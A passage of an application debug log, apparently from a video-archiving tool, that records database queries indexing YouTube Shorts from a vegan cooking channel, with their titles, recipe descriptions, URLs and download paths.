#soupseason #fallrecipes #fallcooking #veganrecipes #glutenfreevegan #wfpb #wholefoodplantbased #broccolicheesesoup #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #easyveganmeals #plantbasedrecipes #poweredbyplants #lowcaloriemeals #lowcalorierecipes #lowcaloriediet #lowcal", "Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB", "a8567f07-161a-4c2a-9fc6-5081d761122b", 1, [], 57, false, "_KzDasuoceU", "https://www.youtube.com/shorts/_KzDasuoceU", 207, "/downloads/downloads/alec/Steamy Vegan/2022-11-10 Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB/Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB [_KzDasuoceU].NA", false, false, true, 1, ~U[2022-11-10 21:22:28Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "BROCCOLI 🥦 CHEESE 🧀 SOUP 🥣 ALERT 🚨 If you’re looking for an easy weeknight dinner idea, then you have to try the EASIEST Vegan Broccoli and Cheese Soup Recipe EVER! 🥣 It’s gluten-free, oil-free (optional) and uses healthy whole foods ingredients. 🌱\n\nRECIPE VIDEO: https://youtu.be/GfrU-pj2O2M\nFULL RECIPE: https://steamyvegankitchen.com/vegan-broccoli-cheese-soup/\n \nThis soup is made in an Instant Pot but stovetop directions are in the blog post (BIO!) if you don’t have a pressure cooker. Now, I’m sure there are a million and one ways to make this kind of soup, but the reasons why I love this version are it only requires 6 ingredients, it’s made with whole plant foods, and requires minimal hands-on time. \n\n#steamyvegankitchen #steamyvegan #eatplants #soupszn #soupseason #fallrecipes #fallcooking #veganrecipes #glutenfreevegan #wfpb #wholefoodplantbased #broccolicheesesoup #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #easyveganmeals #plantbasedrecipes #poweredbyplants #lowcaloriemeals #lowcalorierecipes #lowcaloriediet #lowcal", "Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB", 1, 57, false, "_KzDasuoceU", "https://www.youtube.com/shorts/_KzDasuoceU", "/downloads/downloads/alec/Steamy Vegan/2022-11-10 Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB/Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB [_KzDasuoceU].NA", true, ~U[2022-11-10 21:22:28Z]] 20:31:09.975 [debug] QUERY OK source="sources" db=0.6ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.977 [debug] QUERY OK source="media_items" db=1.6ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-01 15:58:56Z], 1] 20:31:09.978 [debug] QUERY OK source="media_items" db=0.6ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I admit it, I'm one of those people who loves to put my Christmas tree up the first week of November. The suspense and excitement of the season is upon us!\n\nStay tuned for some exciting Christmas recipes on the channel this year! THe suspense is killing me and I love it!!!", "Christmas Season is Upon Us 🎅 #shorts", "851fa79c-5c5e-46bb-b4fe-7b43757f4dc0", 1, [], 9, false, "R82-v4ucQg0", "https://www.youtube.com/shorts/R82-v4ucQg0", 208, "/downloads/downloads/alec/Steamy Vegan/2022-11-01 Christmas Season is Upon Us 🎅 #shorts/Christmas Season is Upon Us 🎅 #shorts [R82-v4ucQg0].NA", false, false, true, 1, ~U[2022-11-01 15:58:56Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I admit it, I'm one of those people who loves to put my Christmas tree up the first week of November. The suspense and excitement of the season is upon us!\n\nStay tuned for some exciting Christmas recipes on the channel this year! THe suspense is killing me and I love it!!!", "Christmas Season is Upon Us 🎅 #shorts", 1, 9, false, "R82-v4ucQg0", "https://www.youtube.com/shorts/R82-v4ucQg0", "/downloads/downloads/alec/Steamy Vegan/2022-11-01 Christmas Season is Upon Us 🎅 #shorts/Christmas Season is Upon Us 🎅 #shorts [R82-v4ucQg0].NA", true, ~U[2022-11-01 15:58:56Z]] 20:31:09.979 [debug] QUERY OK source="sources" db=0.5ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.981 [debug] QUERY OK source="media_items" db=1.9ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-26 21:45:00Z], 1] 20:31:09.982 [debug] QUERY OK source="media_items" db=0.7ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We had an unfortunate mix up at the 1st Milkies Awards and somehow La La Land won the award for Best Pitcher...of Milk and Emma Stone and the team had to relive that dreadful moment all over again.\n\nWatch the full video: https://youtu.be/Z2mLUIoRAK0", "Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts", "3fb8b1e1-8e70-486f-8ca1-481891b5fb2f", 1, [], 37, false, "9PaNCAmdjw4", "https://www.youtube.com/shorts/9PaNCAmdjw4", 209, "/downloads/downloads/alec/Steamy Vegan/2022-10-26 Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts/Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts [9PaNCAmdjw4].NA", false, false, true, 3, ~U[2022-10-26 21:45:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "We had an unfortunate mix up at the 1st Milkies Awards and somehow La La Land won the award for Best Pitcher...of Milk and Emma Stone and the team had to relive that dreadful moment all over again.\n\nWatch the full video: https://youtu.be/Z2mLUIoRAK0", "Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts", 1, 37, false, "9PaNCAmdjw4", "https://www.youtube.com/shorts/9PaNCAmdjw4", "/downloads/downloads/alec/Steamy Vegan/2022-10-26 Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts/Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts [9PaNCAmdjw4].NA", true, ~U[2022-10-26 21:45:00Z]] 20:31:09.983 [debug] QUERY OK source="sources" db=0.6ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.985 [debug] QUERY OK source="media_items" db=1.6ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-26 17:22:31Z], 1] 20:31:09.986 [debug] QUERY OK source="media_items" db=0.5ms idle=5.9ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts", "95faecd0-2224-427f-92fe-6b694620d2c7", 1, [], 12, false, "tnYSoma9bcs", "https://www.youtube.com/shorts/tnYSoma9bcs", 210, "/downloads/downloads/alec/Steamy Vegan/2022-10-26 Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts/Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts [tnYSoma9bcs].NA", false, false, true, 3, ~U[2022-10-26 17:22:31Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts", 1, 12, false, "tnYSoma9bcs", "https://www.youtube.com/shorts/tnYSoma9bcs", "/downloads/downloads/alec/Steamy Vegan/2022-10-26 Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts/Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts [tnYSoma9bcs].NA", true, ~U[2022-10-26 17:22:31Z]] 20:31:09.988 [debug] QUERY OK source="sources" db=0.4ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.989 [debug] QUERY OK source="media_items" db=1.4ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-26 16:25:00Z], 1] 20:31:09.990 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We've got 8 Milky Awards to hand out to the best non-dairy vegan milks on the market. Come check out this plant based milk review and taste test awards show live on the channel or click the link here: https://youtube.com/shorts/uYJudfzuwPA?feature=share", "The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts", "ad9dc22b-3810-458a-b43a-2cfeec6a50bb", 1, [], 15, false, "rx465lsWgQI", "https://www.youtube.com/shorts/rx465lsWgQI", 211, "/downloads/downloads/alec/Steamy Vegan/2022-10-26 The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts/The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts [rx465lsWgQI].NA", false, false, true, 3, ~U[2022-10-26 16:25:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "We've got 8 Milky Awards to hand out to the best non-dairy vegan milks on the market. Come check out this plant based milk review and taste test awards show live on the channel or click the link here: https://youtube.com/shorts/uYJudfzuwPA?feature=share", "The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts", 1, 15, false, "rx465lsWgQI", "https://www.youtube.com/shorts/rx465lsWgQI", "/downloads/downloads/alec/Steamy Vegan/2022-10-26 The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts/The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts [rx465lsWgQI].NA", true, ~U[2022-10-26 16:25:00Z]] 20:31:09.991 [debug] QUERY OK source="sources" db=0.5ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.993 [debug] QUERY OK source="media_items" db=1.9ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-25 23:15:00Z], 1] 20:31:09.994 [debug] QUERY OK source="media_items" db=1.1ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["FULL RECIPE VIDEO: https://youtu.be/hQqQybEApwI\n\nFULL RECIPE BLOG: https://steamyvegankitchen.com/beet-turmeric-ginger-soup/\n\nThis Instant Pot Beet, Turmeric & Ginger Soup not only looks gorgeous, but will have you glowing from the inside out with it’s hearty immune-boosting ingredients! Vegan, gluten-free, oil-free option and pressure cooker-friendly.\n\nWhen I was recently trying to fight off a cold, I wanted to make a soup that was packed full of immune-boosting, anti-inflammatory and deeply nourishing ingredients. Enter beets for their high levels of antioxidants, turmeric for it’s anti-inflammatory and immune boosting properties, and lots of ginger for spice and digestion-aiding goodness. This soup is seriously so good — it’s a perfect combo of naturally spicy, sweet and slightly earthy.\n\n#steamyvegankitchen #steamyvegan #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #eatplants #veganworldshare #easyvegan #vancityvegan #veganfoodlovers #eatmoreplants #veganaf #veganlove #vegancommunity #veganfoodlover #whatveganseat #poweredbyplants #newvegan #veganfoodie #vegangirl #plantbasedrecipes #veganrecipes #veganlife #veganfoodporn #wfpb", "cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts", "d1090c25-136b-4dcc-9373-27b8618be71b", 1, [], 59, false, "-KO2L61HJPE", "https://www.youtube.com/shorts/-KO2L61HJPE", 212, "/downloads/downloads/alec/Steamy Vegan/2022-10-25 cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts/cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts [-KO2L61HJPE].NA", false, false, true, 3, ~U[2022-10-25 23:15:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "FULL RECIPE VIDEO: https://youtu.be/hQqQybEApwI\n\nFULL RECIPE BLOG: https://steamyvegankitchen.com/beet-turmeric-ginger-soup/\n\nThis Instant Pot Beet, Turmeric & Ginger Soup not only looks gorgeous, but will have you glowing from the inside out with it’s hearty immune-boosting ingredients! Vegan, gluten-free, oil-free option and pressure cooker-friendly.\n\nWhen I was recently trying to fight off a cold, I wanted to make a soup that was packed full of immune-boosting, anti-inflammatory and deeply nourishing ingredients. Enter beets for their high levels of antioxidants, turmeric for it’s anti-inflammatory and immune boosting properties, and lots of ginger for spice and digestion-aiding goodness. This soup is seriously so good — it’s a perfect combo of naturally spicy, sweet and slightly earthy.\n\n#steamyvegankitchen #steamyvegan #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #eatplants #veganworldshare #easyvegan #vancityvegan #veganfoodlovers #eatmoreplants #veganaf #veganlove #vegancommunity #veganfoodlover #whatveganseat #poweredbyplants #newvegan #veganfoodie #vegangirl #plantbasedrecipes #veganrecipes #veganlife #veganfoodporn #wfpb", "cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts", 1, 59, false, "-KO2L61HJPE", "https://www.youtube.com/shorts/-KO2L61HJPE", "/downloads/downloads/alec/Steamy Vegan/2022-10-25 cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts/cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts [-KO2L61HJPE].NA", true, ~U[2022-10-25 23:15:00Z]] 20:31:09.995 [debug] QUERY OK source="sources" db=0.3ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.997 [debug] QUERY OK source="media_items" db=1.5ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-25 15:20:00Z], 1] 20:31:10.003 [debug] QUERY OK source="media_items" db=5.7ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["FULL RECIPE VIDEO: https://youtu.be/hQqQybEApwI\n\n🍲This cozy Instant Pot Rustic Red Potato & Leek Soup puts a spin on a classic cold-weather dish with hearty ingredients, satisfying texture and loads of flavour! 🌱 Vegan, gluten-free, oil-free option and pressure cooker-friendly.\n\nLeeks are an underrated vegetable that I think deserve more appreciation! Their mild onion-y flavour, subtle sweetness and versatility makes them a perfect base for soups, stews and casseroles. Paired up with low-calorie yet hearty red potatoes, which are loaded with fibre, B vitamins, iron and potassium, makes this chunky soup filling yet weight-loss friendly!\n\nSAVE THIS POST FOR LATER! ✔️ and head to my blog STEAMYVEGANKITCHEN dot com for the full recipe 😍 Link in bio, friends 🧡\n\n#steamyvegankitchen #steamyvegan #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #eatplants #veganworldshare #easyvegan #vancityvegan #veganfoodlovers #eatmoreplants #veganaf #veganlove #instavegan #vegancommunity #veganfoodlover #whatveganseat #poweredbyplants #newvegan #veganfoodie #vegangirl #veganinstaclub #vegansofig #vegansofinstagram #plantbasedrecipes #veganrecipes #veganlife #veganfoodporn", "cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts", "9c0ddfd5-7a25-4c72-a3e5-4e6a4d561131", 1, [], 58, false, "lCCXT45Z1l4", "https://www.youtube.com/shorts/lCCXT45Z1l4", 213, "/downloads/downloads/alec/Steamy Vegan/2022-10-25 cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts/cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts [lCCXT45Z1l4].NA", false, false, true, 3, ~U[2022-10-25 15:20:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "FULL RECIPE VIDEO: https://youtu.be/hQqQybEApwI\n\n🍲This cozy Instant Pot Rustic Red Potato & Leek Soup puts a spin on a classic cold-weather dish with hearty ingredients, satisfying texture and loads of flavour! 🌱 Vegan, gluten-free, oil-free option and pressure cooker-friendly.\n\nLeeks are an underrated vegetable that I think deserve more appreciation! Their mild onion-y flavour, subtle sweetness and versatility makes them a perfect base for soups, stews and casseroles. Paired up with low-calorie yet hearty red potatoes, which are loaded with fibre, B vitamins, iron and potassium, makes this chunky soup filling yet weight-loss friendly!\n\nSAVE THIS POST FOR LATER! ✔️ and head to my blog STEAMYVEGANKITCHEN dot com for the full recipe 😍 Link in bio, friends 🧡\n\n#steamyvegankitchen #steamyvegan #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #eatplants #veganworldshare #easyvegan #vancityvegan #veganfoodlovers #eatmoreplants #veganaf #veganlove #instavegan #vegancommunity #veganfoodlover #whatveganseat #poweredbyplants #newvegan #veganfoodie #vegangirl #veganinstaclub #vegansofig #vegansofinstagram #plantbasedrecipes #veganrecipes #veganlife #veganfoodporn", "cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts", 1, 58, false, "lCCXT45Z1l4", "https://www.youtube.com/shorts/lCCXT45Z1l4", "/downloads/downloads/alec/Steamy Vegan/2022-10-25 cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts/cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts [lCCXT45Z1l4].NA", true, ~U[2022-10-25 15:20:00Z]] 20:31:10.004 [debug] QUERY OK source="sources" db=0.6ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.007 [debug] QUERY OK source="media_items" db=1.6ms queue=1.2ms idle=9.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-24 18:40:00Z], 1] 20:31:10.008 [debug] QUERY OK source="media_items" db=0.8ms idle=12.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out the full Milkies awards show live on our channel. We taste tested 5 non dairy plant based milks and handed out 8 awards. This episode will help you determine which non dairy milk is the tastiest, healthiest and most environmentally friendly.\n\nFull episode here: https://youtu.be/Z2mLUIoRAK0", "Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts", "7a4298de-e618-422c-8f7c-093a2976b2ac", 1, [], 10, false, "uYJudfzuwPA", "https://www.youtube.com/shorts/uYJudfzuwPA", 214, "/downloads/downloads/alec/Steamy Vegan/2022-10-24 Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts/Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts [uYJudfzuwPA].NA", false, false, true, 1, ~U[2022-10-24 18:40:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Check out the full Milkies awards show live on our channel. We taste tested 5 non dairy plant based milks and handed out 8 awards. This episode will help you determine which non dairy milk is the tastiest, healthiest and most environmentally friendly.\n\nFull episode here: https://youtu.be/Z2mLUIoRAK0", "Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts", 1, 10, false, "uYJudfzuwPA", "https://www.youtube.com/shorts/uYJudfzuwPA", "/downloads/downloads/alec/Steamy Vegan/2022-10-24 Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts/Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts [uYJudfzuwPA].NA", true, ~U[2022-10-24 18:40:00Z]] 20:31:10.009 [debug] QUERY OK source="sources" db=0.6ms idle=11.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.011 [debug] QUERY OK source="media_items" db=1.6ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-20 15:00:27Z], 1] 20:31:10.011 [debug] QUERY OK source="media_items" db=0.4ms idle=7.0ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Brad’s fav way to call in sick to work 😂", "56d372a6-731c-474a-b9a5-bd754c52afab", 1, [], 15, false, "QYIKgdoewjE", "https://www.youtube.com/shorts/QYIKgdoewjE", 215, "/downloads/downloads/alec/Steamy Vegan/2022-10-20 Brad’s fav way to call in sick to work 😂/Brad’s fav way to call in sick to work 😂 [QYIKgdoewjE].NA", false, false, true, 2, ~U[2022-10-20 15:00:27Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "Brad’s fav way to call in sick to work 😂", 1, 15, false, "QYIKgdoewjE", "https://www.youtube.com/shorts/QYIKgdoewjE", "/downloads/downloads/alec/Steamy Vegan/2022-10-20 Brad’s fav way to call in sick to work 😂/Brad’s fav way to call in sick to work 😂 [QYIKgdoewjE].NA", true, 